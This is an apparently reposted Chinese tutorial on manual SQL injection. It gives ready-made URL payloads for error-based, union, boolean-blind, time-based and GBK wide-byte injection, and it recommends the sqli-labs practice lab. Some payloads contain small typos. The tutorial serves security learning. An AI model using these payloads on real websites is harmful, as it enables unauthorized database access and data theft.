SQL注入(手工注入)

来源:互联网 发布:无人机自动降落算法 编辑:程序博客网 时间:2024/05/01 05:01

一.sql注入出现在哪里

与数据库交互的地方,有参数传递,get,post,http头,cookie。

二.注入分类

在数据库中information_schema保存所有数据库中所有的库名,这样我们找库名找表名找字段可以用information_schema.tables;information_schema.columns来找出我们想要的数据。
1、报错注入的用法
首先我们要注入符号(脑洞大开)去让它进行报错(例如我在参数后面的值加一个单引号)。
(1)floor
?参数=1 '+and (select 1 from(select count(*),concat((selectversion()),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
(2)ExtractValue(有长度限制,最长32位)
?参数=1 ' +and extractvalue(1,concat(0x7e,(select group_concat(version())),0x7e))--+
(3)UpdateXml(有长度限制,最长32位)
?参数=1 '+and Updatexml(1,concat(0x7e,(select group_concat(version())),0x7e),1)--+
(4)NAME_CONST(适用于低版本) 不常用
2、联合查询
1)首先看看有没有回显,用order by来看;用法:?参数=1 order by 数字;例如有5列,
?参数=1 order by 5 返回的是一个正确的界面。
(2)下面就用联合查询看看显示位在哪里(这里参数后面的值放入一个假值)
?参数=1 and 0(假值)union select 1,2,3,4,5 --+(后面的注释掉)
(3)例如显示位在第三位,就在你能看到的第三位进行注入
?参数=1 and 0 union select 1,2,version(),4,5 --+
3、布尔盲注
通过网页仅仅返回True(页面)和False(页面).可以通过构造逻辑判断正误。
eg1:查看当前版本第一个字符是不是5,用返回信息真假判断。
?参数=1'select mid(version(),1,1)=5 --+
eg2:返回正常,没有返回404(报错)页面,证明库的长度为8字节
?参数=1' and length(database())=8--+
4、时间沉睡注入
使用条件语句来判断我们的操作是否正确。使用if或if()函数来判断,sleep()函数,BENCHMARK()函数(不建议使用)。 用ASCII() =>字符转换为ascii码,substr()=> 字符串截取函数。 用二分法获取
eg:类似于布尔盲注,当网页刷新时间为5秒证明是正确的。
?id=2" and if(ascii(substr(database(),1,1))>114,1,sleep(5)) --+
5、宽字节注入
原理:myqsl在使用GBK编码的时候,会认为两个字符为一个汉字。这里我们可以用url编码和16进制来解决。构造方法 (1)使用%df用来把\过滤掉 (2)将\'中的\过滤掉 %**%5c%5c%27
eg:此网站过滤了单引号(')反斜杠(\)
?参数=-1%df%27union select 1,database(),3--+ 

练习sql注入可以通过sqli-labs来练习
下载地址:https://github.com/Audi-1/sqli-labs
原创粉丝点击